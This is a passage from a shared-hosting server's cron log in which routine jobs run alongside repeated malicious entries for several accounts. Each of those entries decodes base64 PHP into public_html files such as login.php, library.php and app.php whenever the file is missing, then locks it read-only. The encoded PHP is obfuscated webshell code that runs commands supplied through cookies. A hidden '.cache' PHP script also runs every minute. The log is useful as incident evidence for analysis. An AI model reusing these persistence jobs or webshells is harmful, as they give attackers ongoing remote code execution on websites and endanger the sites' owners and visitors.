sKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:15:02 medusa CROND[29788]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:15:02 medusa CROND[29782]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 07:15:02 medusa CROND[29790]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Apr 19 07:15:02 medusa CROND[29792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:15:02 medusa CROND[29791]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 07:15:02 medusa CROND[29789]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 07:15:02 medusa CROND[29802]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:15:02 medusa CROND[29805]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:15:02 medusa CROND[29806]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:15:02 medusa CROND[29807]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:15:02 medusa CROND[29808]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:15:02 medusa CROND[29809]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 07:15:02 medusa CROND[29813]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 07:15:02 medusa CROND[29800]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 07:15:02 medusa CROND[29797]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 07:15:02 medusa CROND[29794]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 07:16:01 medusa CROND[19083]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:16:01 medusa CROND[19200]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:16:01 medusa CROND[19236]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 07:16:01 medusa CROND[19237]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:16:01 medusa CROND[19238]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:16:01 medusa CROND[19239]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 07:16:01 medusa CROND[19241]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:16:01 medusa CROND[19240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:16:01 medusa CROND[19243]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:16:01 medusa CROND[19244]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:16:01 medusa CROND[19255]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:16:01 medusa CROND[19258]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:16:01 medusa CROND[19257]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:16:01 medusa CROND[19253]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:17:02 medusa CROND[10468]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:17:02 medusa CROND[10470]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Apr 19 07:17:02 medusa CROND[10471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:17:02 medusa CROND[10469]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:17:02 medusa CROND[10472]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 07:17:02 medusa CROND[10473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:17:02 medusa CROND[10476]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:17:02 medusa CROND[10477]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:17:02 medusa CROND[10481]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07J